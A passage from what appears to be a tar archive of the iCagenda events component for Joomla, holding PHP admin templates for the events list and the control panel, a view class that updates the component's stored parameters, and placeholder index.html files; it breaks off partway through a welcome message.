								JHtml::_('dropdown.edit', $item->id, 'event.');
								JHtml::_('dropdown.divider');

								if ($item->state) :
									JHtml::_('dropdown.unpublish', 'cb' . $i, 'events.');
								else :
									JHtml::_('dropdown.publish', 'cb' . $i, 'events.');
								endif;

//								if ($item->featured) :
//									JHtml::_('dropdown.unfeatured', 'cb' . $i, 'events.');
//								else :
//									JHtml::_('dropdown.featured', 'cb' . $i, 'events.');
//								endif;

								JHtml::_('dropdown.divider');

								if ($archived) :
									JHtml::_('dropdown.unarchive', 'cb' . $i, 'events.');
								else :
									JHtml::_('dropdown.archive', 'cb' . $i, 'events.');
								endif;

								if ($item->checked_out) :
									JHtml::_('dropdown.checkin', 'cb' . $i, 'events.');
								endif;

								if ($trashed) :
									JHtml::_('dropdown.untrash', 'cb' . $i, 'events.');
								else :
									JHtml::_('dropdown.trash', 'cb' . $i, 'events.');
								endif;

								// Render dropdown list
								echo JHtml::_('dropdown.render');
							}
							?>
						</div>

					<?php endif; ?>

					</td>

					<!-- Dates -->
					<td class="small hidden-phone">
						<?php
						$date_format_global	= $this->params->get('date_format_global', 'Y - m - d');
						$separator			= $this->params->get('date_separator', ' ');
						$eventDate			= iCGlobalize::dateFormat($item->next, $date_format_global, $separator);
						$eventTime			= $item->displaytime ? ' - ' . JHtml::date($item->next, 'H:i', null) : '';
						$eventDate			= $eventDate ? $eventDate : date('Y-m-d', strtotime($item->next));
						$dateshow			= $eventDate . $eventTime;

						// Upcoming Next Date
						if (iCDate::isDate($item->next))
						{
							if ($nextdate > $today)
							{
								echo '<div class="ic-nextdate ic-upcoming">';
								echo JText::_('COM_ICAGENDA_EVENTS_NEXT_FUTUR') . '<br />';
								echo '<center>' . $dateshow . '</center>';
								echo '</div>';
							}
							// Next Date is today
							elseif ($nextdate == $today)
							{
								echo '<div class="ic-nextdate ic-today">';
								echo JText::_('COM_ICAGENDA_EVENTS_NEXT_TODAY') . '<br />';
								echo '<center>' . $dateshow . '</center>';
								echo '</div>';
							}
							elseif ($nextdate < $today)
							{
								echo '<div class="ic-nextdate ic-past">';
								echo JText::_('COM_ICAGENDA_EVENTS_NEXT_PAST') . '<br />';
								echo '<center>' . $dateshow . '</center>';
								echo '</div>';
							}
						}
						else
						{
							echo '<div class="ic-nextdate ic-no-date">';
							echo JText::_('COM_ICAGENDA_EVENTS_NEXT_ALERT');
							echo '</div>';
						}
						?>
					</td>


				<?php if(version_compare(JVERSION, '3.0', 'lt')) : ?>

					<!-- Ordering Joomla 2.5 -->
				<?php if (isset($this->items[0]->ordering)) : ?>
					<td class="order">
						<?php if ($canChange) : ?>
							<?php if ($saveOrder) :?>
								<?php if ($listDirn == 'asc') : ?>
									<span><?php echo $this->pagination->orderUpIcon($i, true, 'events.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?></span>
									<span><?php echo $this->pagination->orderDownIcon($i, $this->pagination->total, true, 'events.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?></span>
								<?php elseif ($listDirn == 'desc') : ?>
									<span><?php echo $this->pagination->orderUpIcon($i, true, 'events.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?></span>
									<span><?php echo $this->pagination->orderDownIcon($i, $this->pagination->total, true, 'events.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?></span>
								<?php endif; ?>
							<?php endif; ?>
							<?php $disabled = $saveOrder ?  '' : 'disabled="disabled"'; ?>
							<input type="text" name="order[]" size="5" value="<?php echo $item->ordering;?>" <?php echo $disabled ?> class="text-area-order" />
						<?php else : ?>
							<?php echo $item->ordering; ?>
						<?php endif; ?>
					</td>
				<?php endif; ?>

				<?php endif; ?>

					<!-- Access -->
					<td class="small hidden-phone">
						<?php echo $this->escape($access_title); ?>
					</td>

					<!-- Username -->
					<td class="small hidden-phone">
						<?php
						if ($item->username == '' && ! $item->created_by)
						{
							$undefined = '<i>' . JText::_('JUNDEFINED') . '</i>';
							echo $undefined;
						}
						elseif ( ! $item->created_by || ! $item->author_name)
						{
							echo $this->escape($item->username);
						}
						else
						{
							echo $this->escape($item->author_name);
							echo ' [' . $this->escape($item->author_username) . ']';
						}
						?>
						<?php //echo JText::_('JGLOBAL_USERNAME').': '.$this->escape($username); ?>
						<?php if ($item->created_by_alias) : ?>
						<p class="smallsub">
							<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->created_by_alias)); ?>
						</p>
						<?php endif; ?>
					</td>

					<!-- Language -->
					<td class="small hidden-phone">
						<?php if ($item->language == '*'):?>
							<?php echo JText::alt('JALL', 'language'); ?>
						<?php else:?>
							<?php echo $item->language ? $this->escape($item->language) : JText::_('JUNDEFINED'); ?>
						<?php endif; ?>
					</td>

					<!-- ID -->
					<?php if (isset($this->items[0]->id)) : ?>
					<td class="center hidden-phone">
						<?php echo (int) $item->id; ?>
					</td>
					<?php endif; ?>

				</tr>
			<?php endforeach;

			// Old Joomla versions asset_id issue. (all Joomla 2.5.x versions, and Joomla 3 NOT updated!)
			$asset_issue = version_compare(JVERSION, '3.0', 'lt') ? true : false;

			if ($asset_issue)
			{
				$ia = '0';
				unset($msg);
				unset($type);
				$msg = $type = $front_submit = '';
				$edittx = '<b>' . JText::_( 'JACTION_EDIT' ) . '</b>';
				$savetx = '<b>' . JText::_( 'JSAVE' ) . '</b>';

				foreach ($this->items as $i => $item)
				{
					if (($item->asset_id == '0') && ($item->state == '-2'))
					{
						$ia = $ia+1;
						$front_submit = '1';
					}
				}

				if ($front_submit == 1 && $ia == 1)
				{
					$app->enqueueMessage(JText::sprintf( 'COM_ICAGENDA_TRASH_FRONTEND_SUBMITTED_1', $edittx, $savetx ), 'notice');
				}
				elseif ($front_submit == 1 && $ia > 1)
				{
					$app->enqueueMessage(JText::sprintf( 'COM_ICAGENDA_TRASH_FRONTEND_SUBMITTED', $edittx, $savetx ), 'notice');
				}

				foreach ($this->items as $i => $item)
				{
					if ($item->asset_id == '0' && $item->state == '-2')
					{
						$editLink = 'index.php?option=com_icagenda&task=event.edit&id=' . $item->id;
						$msg	= '- ' . $item->title . ' [' . $item->id . '] : <a href="' . $editLink . '"><b>'.JText::_( 'JACTION_EDIT' ).'</b></a>';
						$type	= JText::_( 'JGLOBAL_LIST' ).' :';
					}
					if ( ! empty($msg))
					{
						$app->enqueueMessage($msg, $type);
					}
				}
			}
			?>
			</tbody>
			<!-- END BODY -->

		</table>
		<div>
			<input type="hidden" name="task" value="" />
			<input type="hidden" name="boxchecked" value="0" />
			<input type="hidden" name="filter_order" value="<?php echo $listOrder; ?>" />
			<input type="hidden" name="filter_order_Dir" value="<?php echo $listDirn; ?>" />
			<?php echo JHtml::_('form.token'); ?>
		</div>
	</div>
</form>
com_icagenda/views/events/tmpl/index.html000060400000000122152455305270014546 0ustar00<html><body>

<img src="thumb.php?src=nophoto.jpg&x=50&y=50&f=0">

</body></html>
com_icagenda/views/events/index.html000060400000000032152455305270013572 0ustar00<html><body></body></html>com_icagenda/views/icagenda/view.html.php000060400000007474152455305270014473 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.6 2015-06-27
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );

// Access check.
if (JFactory::getUser()->authorise('core.admin', 'com_icagenda'))
{
	JToolBarHelper::preferences('com_icagenda');
}

/**
 * View class for a list of iCagenda.
 */
class iCagendaViewicagenda extends JViewLegacy
{
	/**
	 * Display the view
	 * @since	1.0
	 */
	public function display($tpl = null)
	{
		$document = JFactory::getDocument();

		// Joomla 2.5
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			JHtml::stylesheet('com_icagenda/template.j25.css', false, true);
			JHtml::stylesheet('com_icagenda/icagenda-back.j25.css', false, true);

			JHTML::_('behavior.tooltip');
			JHTML::_('behavior.modal');
			$document->addScript( JURI::root( true ) . '/media/com_icagenda/js/template.js' );
			jimport( 'joomla.filesystem.path' );
		}
		// Joomla 3
		else
		{
 			JHtml::_('behavior.modal');
		}

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));
			return false;
		}

		$this->addToolbar();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @since	1.0
	 */
	protected function addToolbar()
	{
		require_once JPATH_COMPONENT . '/helpers/icagenda.php';

		$document	= JFactory::getDocument();
		$app		= JFactory::getApplication();

		$state	= $this->get('State');
		$canDo	= iCagendaHelper::getActions($state->get('filter.category_id'));

		//JToolBarHelper::title(JText::_('COM_ICAGENDA_TITLE_ICAGENDA_IMAGE'));
		// Set Title
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			JToolBarHelper::title(JText::_('COM_ICAGENDA_TITLE_ICAGENDA_IMAGE'));
		}
		else
		{
			$logo_icagenda_url = '../media/com_icagenda/images/iconicagenda36.png';

			if (file_exists($logo_icagenda_url))
			{
				$logo_icagenda = '<img src="' . $logo_icagenda_url . '" height="36px" alt="iCagenda" />';
			}
			else
			{
				$logo_icagenda = 'iCagenda :: ' . JText::_('COM_ICAGENDA_TITLE_ICAGENDA') . '';
			}

			JToolBarHelper::title($logo_icagenda, 'icagenda');
		}

		$icTitle = JText::_('COM_ICAGENDA_TITLE_ICAGENDA');

		$sitename = $app->getCfg('sitename');
		$title = $app->getCfg('sitename') . ' - ' . JText::_('JADMINISTRATION') . ' - iCagenda: ' . $icTitle;
		$document->setTitle($title);
	}

	/**
	 * Save iCagenda Params
	 *
	 * Update Database
	 *
	 * @since   3.3.8
	 */
	public function saveDefault($var, $name, $value)
	{
		if ($var)
		{
			$params[$name] = $value;

			$this->updateParams( $params );
		}
	}

	/**
	 * Update iCagenda Params
	 *
	 * Update Database
	 *
	 * @since   3.3.8
	 */
	protected function updateParams($params_array)
	{
		// read the existing component value(s)
		$db = JFactory::getDbo();
		$db->setQuery('SELECT params FROM #__icagenda WHERE id = "3"');
		$params = json_decode( $db->loadResult(), true );

		// add the new variable(s) to the existing one(s)
		foreach ( $params_array as $name => $value )
		{
			$params[ (string) $name ] = $value;
		}

		// store the combined new and existing values back as a JSON string
		$paramsString = json_encode( $params );
		$db->setQuery('UPDATE #__icagenda SET params = ' .
		$db->quote( $paramsString ) . ' WHERE id = "3"' );
		$db->query();
	}
}
com_icagenda/views/icagenda/index.html000060400000000032152455305270014021 0ustar00<html><body></body></html>com_icagenda/views/icagenda/tmpl/default.php000060400000113412152455305270015144 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.10 2015-08-15
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

// Check Theme Packs Compatibility (to be changed to a little note button with modal)
//if (class_exists('icagendaTheme')) icagendaTheme::checkThemePacks();

$user		= JFactory::getUser();
$userId		= $user->get('id');

$params		= JComponentHelper::getParams( 'com_icagenda' );
$version	= $params->get('version');
$icsys		= $params->get('icsys');
$translator	= JText::_('COM_ICAGENDA_TRANSLATOR');

if (version_compare(phpversion(), '5.3.10', '<'))
{
	$JoomlaRecommended = '5.4 +';

	// Get Application
	$app = JFactory::getApplication();

	$icon_warning = (version_compare(JVERSION, '3.0', 'lt')) ? '' : '<span class="icon-warning"></span>';

	$php_warning_msg = '<strong> ' . JText::sprintf('COM_ICAGENDA_YOUR_PHP_VERSION_IS', phpversion()) . '</strong><br />';
	$php_warning_msg.= JText::sprintf('COM_ICAGENDA_PHP_VERSION_JOOMLA_RECOMMENDED', $JoomlaRecommended);
	$php_warning_msg.= ' ( ' . JText::_('IC_READMORE') . ': ';
	$php_warning_msg.= '<a href="http://www.joomla.org/technical-requirements.html"';
	$php_warning_msg.= ' target="_blank">http://www.joomla.org/technical-requirements.html</a> )<br />';
	$php_warning_msg.= JText::_('COM_ICAGENDA_PHP_VERSION_ICAGENDA_RECOMMENDATION');

	$app->enqueueMessage( $icon_warning . $php_warning_msg, 'error' );
}
?>
<div id="j-main-container">
	<?php JHtml::_('behavior.modal'); ?>
	<!-- Start Content -->
	<div class="row-fluid icpanel">
		<div class="span12">
			<div class="row-fluid">
				<div class="span6">
					<div class="row-fluid">
						<?php if ( $user->authorise('icagenda.access.categories', 'com_icagenda') ) : ?>
						<div class="span6" style="text-align: center">
							<table>
								<tbody>
									<tr>
										<td colspan="2">
											<h3><?php echo JText::_('COM_ICAGENDA_TITLE_CATEGORIES'); ?></h3>
										</td>
									</tr>
									<tr>
										<td>
											<div class="icon right">
												<a href="index.php?option=com_icagenda&view=categories">
													<?php if ($user->authorise('icagenda.access.categories', 'com_icagenda')) : ?>
														<img alt=""
															src="../media/com_icagenda/images/all_cats-48.png">
														<span class="iconText">
															<?php echo JText::_( 'COM_ICAGENDA_PANEL_CATEGORY' ); ?>
														</span>
													<?php else : ?>
														<img alt="<?php echo JText::_( 'JERROR_ALERTNOAUTHOR' ); ?>"
															src="../media/com_icagenda/images/panel_denied/all_cats-48.png">
														<span class="iconText denied">
															<?php echo JText::_( 'COM_ICAGENDA_PANEL_CATEGORY' ); ?>
														</span>
													<?php endif; ?>
												</a>
											</div>
										</td>
										<td>
											<div class="icon left">
												<a href="index.php?option=com_icagenda&view=category&layout=edit">
													<?php if ($user->authorise('icagenda.access.categories', 'com_icagenda')) : ?>
														<img alt=""
															src="../media/com_icagenda/images/new_cat-48.png">
														<span class="iconText">
															<?php echo JText::_( 'COM_ICAGENDA_PANEL_NEW_CATEGORY' ); ?>
														</span>
													<?php else : ?>
														<img alt="<?php echo JText::_( 'JERROR_ALERTNOAUTHOR' ); ?>"
															src="../media/com_icagenda/images/panel_denied/new_cat-48.png">
														<span class="iconText denied">
															<?php echo JText::_( 'COM_ICAGENDA_PANEL_NEW_CATEGORY' ); ?>
														</span>
													<?php endif; ?>
												</a>
											</div>
										</td>
									</tr>
								</tbody>
							</table>
						</div>
						<?php endif; ?>
						<?php if ( $user->authorise('icagenda.access.events', 'com_icagenda') ) : ?>
						<div class="span6" style="text-align: center">
				    		<table>
				    			<tbody>
				    				<tr>
				    					<td colspan="2">
											<h3><?php echo JText::_('COM_ICAGENDA_TITLE_EVENTS'); ?></h3>
										</td>
									</tr>
				    				<tr>
	 				   					<td>
											<div class="icon right">
												<a href="index.php?option=com_icagenda&view=events">
													<?php if ($user->authorise('icagenda.access.events', 'com_icagenda')) : ?>
														<img alt=""
															src="../media/com_icagenda/images/all_events-48.png">
														<span class="iconText">
															<?php echo JText::_( 'COM_ICAGENDA_PANEL_EVENTS' ); ?>
														</span>
													<?php else : ?>
														<img alt="<?php echo JText::_( 'JERROR_ALERTNOAUTHOR' ); ?>"
															src="../media/com_icagenda/images/panel_denied/all_events-48.png">
														<span class="iconText denied">
															<?php echo JText::_( 'COM_ICAGENDA_PANEL_EVENTS' ); ?>
														</span>
													<?php endif; ?>
												</a>
											</div>
										</td>
	 				   					<td>
											<div class="icon left">
												<a href="index.php?option=com_icagenda&view=event&layout=edit">
													<?php if ($user->authorise('icagenda.access.events', 'com_icagenda')) : ?>
														<img alt=""
															src="../media/com_icagenda/images/new_event-48.png">
														<span class="iconText">
															<?php echo JText::_( 'COM_ICAGENDA_PANEL_NEW_EVENT' ); ?>
														</span>
													<?php else : ?>
														<img alt="<?php echo JText::_( 'JERROR_ALERTNOAUTHOR' ); ?>"
															src="../media/com_icagenda/images/panel_denied/new_event-48.png">
														<span class="iconText denied">
															<?php echo JText::_( 'COM_ICAGENDA_PANEL_NEW_EVENT' ); ?>
														</span>
													<?php endif; ?>
												</a>
											</div>
										</td>
									</tr>
								</tbody>
							</table>
						</div>
						<?php endif; ?>
					</div>

					<div class="row-fluid">
						<?php if ( $user->authorise('icagenda.access.registrations', 'com_icagenda')
								|| $user->authorise('icagenda.access.newsletter', 'com_icagenda') ) : ?>
						<div class="span6" style="text-align: center">
			    			<table>
					    		<tbody>
				    				<tr>
				    					<td colspan="2">
											<h3><?php echo JText::_('COM_ICAGENDA_TITLE_REGISTRATION'); ?></h3>
										</td>
									</tr>
				    				<tr>
	 				   					<td>
											<div class="icon right">
												<a href="index.php?option=com_icagenda&view=registrations">
													<?php if ($user->authorise('icagenda.access.registrations', 'com_icagenda')) : ?>
														<img alt=""
															src="../media/com_icagenda/images/registration-48.png">
														<span class="iconText">
															<?php echo JText::_( 'COM_ICAGENDA_PANEL_REGISTRATION' ); ?>
														</span>
													<?php else : ?>
														<img alt="<?php echo JText::_( 'JERROR_ALERTNOAUTHOR' ); ?>"
															src="../media/com_icagenda/images/panel_denied/registration-48.png">
														<span class="iconText denied">
															<?php echo JText::_( 'COM_ICAGENDA_PANEL_REGISTRATION' ); ?>
														</span>
													<?php endif; ?>
												</a>
											</div>
										</td>
	 				   					<td>
											<div class="icon left">
												<a href="index.php?option=com_icagenda&view=mail&layout=edit">
													<?php if ($user->authorise('icagenda.access.newsletter', 'com_icagenda')) : ?>
														<img alt=""
															src="../media/com_icagenda/images/newsletter-48.png">
														<span class="iconText">
															<?php echo JText::_( 'COM_ICAGENDA_PANEL_NEWSLETTER' ); ?>
														</span>
													<?php else : ?>
														<img alt="<?php echo JText::_( 'JERROR_ALERTNOAUTHOR' ); ?>"
															src="../media/com_icagenda/images/panel_denied/newsletter-48.png">
														<span class="iconText denied">
															<?php echo JText::_( 'COM_ICAGENDA_PANEL_NEWSLETTER' ); ?>
														</span>
													<?php endif; ?>
												</a>
											</div>
										</td>
									</tr>
								</tbody>
							</table>
						</div>
						<?php endif; ?>
						<?php if ( $user->authorise('icagenda.access.customfields', 'com_icagenda')
								|| $user->authorise('icagenda.access.features', 'com_icagenda') ) : ?>
						<div class="span6" style="text-align: center">
				    		<table>
				    			<tbody>
				    				<tr>
				    					<td colspan="2">
											<h3><?php echo JText::_('COM_ICAGENDA_ADDITIONALS_LABEL'); ?></h3>
										</td>
									</tr>
				    				<tr>
	 				   					<td>
											<div class="icon right">
												<a href="index.php?option=com_icagenda&view=customfields">
													<?php if ($user->authorise('icagenda.access.customfields', 'com_icagenda')) : ?>
														<img alt=""
															src="../media/com_icagenda/images/customfields-48.png" />
														<span class="iconText">
															<?php echo JText::_( 'COM_ICAGENDA_PANEL_CUSTOMFIELDS' ); ?>
														</span>
													<?php else : ?>
														<img alt="<?php echo JText::_( 'JERROR_ALERTNOAUTHOR' ); ?>"
															src="../media/com_icagenda/images/panel_denied/customfields-48.png" />
														<span class="iconText denied">
															<?php echo JText::_( 'COM_ICAGENDA_PANEL_CUSTOMFIELDS' ); ?>
														</span>
													<?php endif; ?>
												</a>
											</div>
										</td>
	 				   					<td>
											<div class="icon left">
												<a href="index.php?option=com_icagenda&view=features">
													<?php if ($user->authorise('icagenda.access.features', 'com_icagenda')) : ?>
														<img alt=""
															src="../media/com_icagenda/images/features-48.png">
														<span class="iconText">
															<?php echo JText::_( 'COM_ICAGENDA_PANEL_FEATURES' ); ?>
														</span>
													<?php else : ?>
														<img alt="<?php echo JText::_( 'JERROR_ALERTNOAUTHOR' ); ?>"
															src="../media/com_icagenda/images/panel_denied/features-48.png">
														<span class="iconText denied">
															<?php echo JText::_( 'COM_ICAGENDA_PANEL_FEATURES' ); ?>
														</span>
													<?php endif; ?>
												</a>
											</div>
										</td>
									</tr>
								</tbody>
							</table>
						</div>
						<?php endif; ?>
					</div>

					<div class="row-fluid">
						<?php if ( $user->authorise('core.admin', 'com_icagenda')
								|| $user->authorise('icagenda.access.themes', 'com_icagenda') ) : ?>
						<div class="span6" style="text-align: center">
			    			<table>
					    		<tbody>
				    				<tr>
				    					<td colspan="2">
											<h3><?php echo JText::_('COM_ICAGENDA_GLOBAL_PARAMS_LABEL'); ?></h3>
										</td>
									</tr>
				    				<tr>
	 				   					<td>
											<div class="icon right">
												<?php if(version_compare(JVERSION, '3.0', 'ge')) : ?>
													<a href="index.php?option=com_config&view=component&component=com_icagenda&path=&return=<?php echo base64_encode(JURI::getInstance()->toString()) ?>">
												<?php else : ?>
													<a href="index.php?option=com_config&view=component&component=com_icagenda&path=&tmpl=component"
														class="modal"
														rel="{handler: 'iframe', size: {x: 870, y: 550}}">
												<?php endif; ?>
													<?php if ($user->authorise('core.admin', 'com_icagenda')) : ?>
														<img alt=""
															src="../media/com_icagenda/images/global_options-48.png">
														<span class="iconText">
															<?php echo JText::_( 'JTOOLBAR_OPTIONS' ); ?>
														</span>
													<?php else : ?>
														<img alt="<?php echo JText::_( 'JERROR_ALERTNOAUTHOR' ); ?>"
															src="../media/com_icagenda/images/panel_denied/global_options-48.png">
														<span class="iconText denied">
															<?php echo JText::_( 'JTOOLBAR_OPTIONS' ); ?>
														</span>
													<?php endif; ?>
												</a>
											</div>
										</td>
	 				   					<td>
											<div class="icon left">
												<a href="index.php?option=com_icagenda&view=themes">
													<?php if ($user->authorise('icagenda.access.themes', 'com_icagenda')) : ?>
														<img alt=""
															src="../media/com_icagenda/images/themes-48.png">
														<span class="iconText">
															<?php echo JText::_( 'COM_ICAGENDA_PANEL_THEMES' ); ?>
														</span>
													<?php else : ?>
														<img alt="<?php echo JText::_( 'JERROR_ALERTNOAUTHOR' ); ?>"
															src="../media/com_icagenda/images/panel_denied/themes-48.png">
														<span class="iconText denied">
															<?php echo JText::_( 'COM_ICAGENDA_PANEL_THEMES' ); ?>
														</span>
													<?php endif; ?>
												</a>
											</div>
										</td>
									</tr>
								</tbody>
							</table>
						</div>
						<?php endif; ?>
						<?php if ( $user->authorise('core.admin', 'com_icagenda') ) : ?>
						<div class="span6" style="text-align: center">
			    			<table>
					    		<tbody>
				    				<tr>
				    					<td colspan="2">
											<h3><?php echo JText::_('COM_ICAGENDA_PANEL_UPDATE_AND_INFOS'); ?></h3>
										</td>
									</tr>
				    				<tr>
	 				   					<td>
											<div class="icon right">
												<a href="index.php?option=com_icagenda&view=info">
													<img src="../media/com_icagenda/images/info-48.png">
													<span class="iconText"><?php echo JText::_( 'COM_ICAGENDA_INFO' ); ?></span>
												</a>
											</div>
										</td>
	 				   					<td class="left">
											<?php echo LiveUpdate::getIcon(); ?>
										</td>
									</tr>
								</tbody>
							</table>
						</div>
						<?php endif; ?>
					</div>

					<?php if ($icsys == 'core') : ?>
					<div class="row-fluid">

						<div class="span12">
							<div class="alert alert-block alert-info">
							<?php if(version_compare(JVERSION, '3.0', 'ge')) : ?>
								<button type="button" class="close" data-dismiss="alert">×</button>
							<?php endif; ?>
								<p>&nbsp;</p>
								<div style="font-weight: bold; color: #555555;">
									<p>
										<?php echo JText::_('COM_ICAGENDA_PANEL_FREE_VERSION') ?><br/>
										<?php echo JText::_('COM_ICAGENDA_PANEL_PRO_VERSION') ?>:
										<?php echo JText::_('COM_ICAGENDA_PANEL_PRO_MODULE_IC_EVENT_LIST') ?>
									</p>
								</div>
								<div style="display:none;">
									<div id="loadDiv" style="background-color:#F4F4F4;">
										<table style="width:600px; height:350px;" cellpadding="0" cellspacing="0">
											<tbody>
												<tr>
													<td style="text-align: center; height:140px;" rowspan="1" colspan="3">
														&nbsp;&nbsp;&nbsp;<img src="../media/com_icagenda/images/iconicagenda48.png" alt="" />
													</td>
												</tr>
												<tr>
													<td style="text-align: right; width: 280px; height:60px;">
														<form action="https://secure.shareit.com/shareit/checkout.html?PRODUCT[300582128]=1&stylefrom=300582128" method="post" target="_blank">
															<input type="submit" class="btn" width="120px" value="<?php echo JText::_( 'COM_ICAGENDA_PURCHASE_1_YEAR' ); ?>" />
														</form>
													</td>
													<td style="width: 40px; height:60px;">
													</td>
													<td style="width: 280px; height:60px;">
														<form action="https://secure.shareit.com/shareit/checkout.html?PRODUCT[300579672]=1&stylefrom=300579672" method="post" target="_blank">
															<input type="submit" class="btn" value="<?php echo JText::_( 'COM_ICAGENDA_PURCHASE_UNLIMITED' ); ?>" />
														</form>
													</td>
												</tr>
												<tr>
													<td style="text-align: center; height:50px;" colspan="3">
														<a href="http://www.joomlic.com/extensions/icagenda" alt ="<?php echo JText::_( 'COM_ICAGENDA_INFO' ); ?>" target="_blank"><?php echo JText::_( 'COM_ICAGENDA_VERSIONS_COMPARISON' ); ?></a>
													</td>
												</tr>
												<tr>
													<td style="text-align: center;" rowspan="1" colspan="3">
														<div>
															<p>
																<img src="../media/com_icagenda/images/payment/icon_cca.gif" alt="" border="0"/>
																<img src="../media/com_icagenda/images/payment/icon_pal.gif" alt="" border="0"/>
																<img src="../media/com_icagenda/images/payment/icon_wtr.gif" alt="" border="0"/>
																<img src="../media/com_icagenda/images/payment/icon_chk.gif" alt="" border="0"/>
															</p>
														</div>
														<div>
															<img src="../media/com_icagenda/images/payment/shareit_ani.gif" alt="" border="0"/>
														</div>
													</td>
												</tr>
											</tbody>
										</table>
									</div>
								</div>

								<p>
									&nbsp;
								</p>
								<div>
									<p style="text-align: center;">
										<a href="#loadDiv" class="modal" rel="{size: {x: 600, y: 350}}">
											<input type="submit" class="btn" value="<?php echo JText::_( 'COM_ICAGENDA_PURCHASE' ); ?>" />
										</a>
										<!--a href="http://www.joomlic.com/extensions/icagenda" alt ="<?php echo JText::_( 'COM_ICAGENDA_INFO' ); ?>" target="_blank">
											<?php echo JText::_( 'COM_ICAGENDA_INFO' ); ?>
										</a-->
									</p>
									<p style="text-align: center; font-size:11px;">
										<a href="http://www.joomlic.com/extensions/icagenda" alt ="<?php echo JText::_( 'COM_ICAGENDA_INFO' ); ?>" target="_blank"><?php echo JText::_( 'COM_ICAGENDA_VERSIONS_COMPARISON' ); ?></a>
									</p>
								</div>

							</div>

						</div><!--end span12-->

					</div><!--end row-->
					<?php endif; ?>

				</div><!--end span 6-->
				<div class="span1">
				</div><!--end span 1-->
				<div class="span5">
					<div class="span12">

						<?php
						$db = JFactory::getDbo();
						$query	= $db->getQuery(true);
						//$query->select('version AS icv, releasedate AS icd')->from('#__icagenda')->where('id = 1');
						//$query->select('version AS icv, releasedate AS icd')->from('#__icagenda')->where('id = 2');
						$query->select('version AS icv, releasedate AS icd, params AS icp')->from('#__icagenda')->where('id = 3');
						$db->setQuery($query);
						$release	= $db->loadObject()->icv;
						$date		= $db->loadObject()->icd;
						$icp		= json_decode( $db->loadObject()->icp, true );

						if ($icsys == 'pro')
						{
							$app = JFactory::getApplication();
							$welcome_pro =  $app->input->get('welcome', '');

							// Get Current URL
							$thisURL = JURI::getInstance()->toString();

							$return_cp = 'index.php?option=com_icagenda';

							if ($welcome_pro == -1)
							{
								$this->saveDefault($welcome_pro, 'msg_procp', '-1');
								$app->enqueueMessage(JText::_('COM_ICAGENDA_WELCOME_HIDE_SUCCESS'), 'message');
								$app->redirect($return_cp);
							}
							elseif ($welcome_pro == 1)
							{
								$this->saveDefault($welcome_pro, 'msg_procp', '1');
//								$app->enqueueMessage(JText::_('COM_ICAGENDA_WELCOME_SHOW_SUCCESS'), 'message');
								$app->redirect($return_cp);
							}

							$options_link = version_compare(JVERSION, '3.0', 'ge')
											? ' : <a href="index.php?option=com_config&view=component&component=com_icagenda&path=&return='
												.  base64_encode(JURI::getInstance()->toString()) . '#pro">'
												. JText::_('JTOOLBAR_OPTIONS') . '</a>'
											: '.';
							?>
							<?php if ($icp['msg_procp'] == -1) : ?>
								<a class="hasTooltip" href="<?php echo JRoute::_($thisURL.'&welcome=1') ?>" data-original-title="Clear" data-toggle="tooltip" title="<?php echo JText::_('COM_ICAGENDA_WELCOME_RELOAD_DESC') ?>">
									<div class="btn btn-mini"><?php echo JText::_('COM_ICAGENDA_WELCOME_RELOAD'); ?></div>
								</a>
							<?php else : ?>
							<?php
			$app->enqueueMessage('<h2>' . JText::sprintf('COM_ICAGENDA_PRO_WELCOME', 'iCagenda PRO') . '</h2>'
								. '<p>' . JText::sprintf('COM_ICAGENDA_PRO_WELCOME_PRO_ACCOUNT_INFO', 'iCagenda PRO', '<a href="http://pro.joomlic.com" target="_blank">pro.joomlic.com</a>') . '</p>'
								. '<p>' . JText::sprintf('COM_ICAGENDA_PRO_WELCOME_PRO_NOTIFICATION_EMAILS', 'info(at)joomlic.com') . '</p>'
								. '<p>' . JText::sprintf('COM_ICAGENDA_PRO_WELCOME_PRO_NOTIFICATION_EMAILS_FIRST', 'Pro JoomliC') . '<br />'
								. JText::_('COM_ICAGENDA_PRO_WELCOME_PRO_NOTIFICATION_EMAILS_SECOND') . '<br />'
								. JText::_('COM_ICAGENDA_PRO_WELCOME_PRO_CHECK_YOUR_EMAIL') . '</p>'
								. '<p>' . JText::sprintf('COM_ICAGENDA_PRO_WELCOME_PRO_FIRST_LOGIN_1', '<a href="http://pro.joomlic.com" target="_blank">pro.joomlic.com</a>') . '<br />'
								. JText::sprintf('COM_ICAGENDA_PRO_WELCOME_PRO_FIRST_LOGIN_2', '<a href="http://pro.joomlic.com" target="_blank">pro.joomlic.com</a>') . '<br />'
								. JText::sprintf('COM_ICAGENDA_PRO_WELCOME_PRO_OPTIONS', $options_link) . '</p>'
								. '<p>' . JText::sprintf('COM_ICAGENDA_PRO_WELCOME_PRO_ID_1', 'iCagenda PRO') . '</p>'
								. '<p>' . JText::_('COM_ICAGENDA_PRO_WELCOME_CONTACT') . '<br />'
